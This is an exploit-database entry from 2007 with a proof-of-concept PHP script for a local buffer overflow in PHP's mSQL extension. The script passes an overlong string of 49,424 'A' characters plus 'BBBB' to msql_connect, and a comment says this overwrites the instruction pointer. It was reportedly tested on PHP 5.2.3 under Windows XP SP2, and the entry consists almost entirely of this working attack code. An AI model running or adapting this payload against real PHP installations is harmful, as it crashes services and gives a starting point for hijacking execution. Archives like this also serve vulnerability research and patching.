PHP mSQL (msql_connect) - Local Buffer Overflow (PoC)

2007-08-06T00:00:00
ID EXPLOITPACK:4254FE54069BEA814301FC19352B2D3C
Type exploitpack
Reporter NetJackal
Modified 2007-08-06T00:00:00

Description

PHP mSQL (msql_connect) - Local Buffer Overflow (PoC)

                                        
                                            <?php

##########################################################
###----------------------------------------------------###
###----PHP mSQL (msql_connect) Buffer Overflow PoC-----###
###----------------------------------------------------###
###-Tested on 5.2.3 (XP SP2)---------------------------###
###----------------------------------------------------###
###-Author:--NetJackal---------------------------------###
###-Email:---nima_501[at]yahoo[dot]com-----------------###
###-Website:-http://netjackal.by.ru--------------------###
###----------------------------------------------------###
##########################################################

if(!function_exists('msql_connect'))
die('mSQL extension is not available');

#msql_pconnect(str_repeat('A',49424).'BBBB');

msql_connect(str_repeat('A',49424).'BBBB'); # EIP => 42424242

?>

# milw0rm.com [2007-08-06]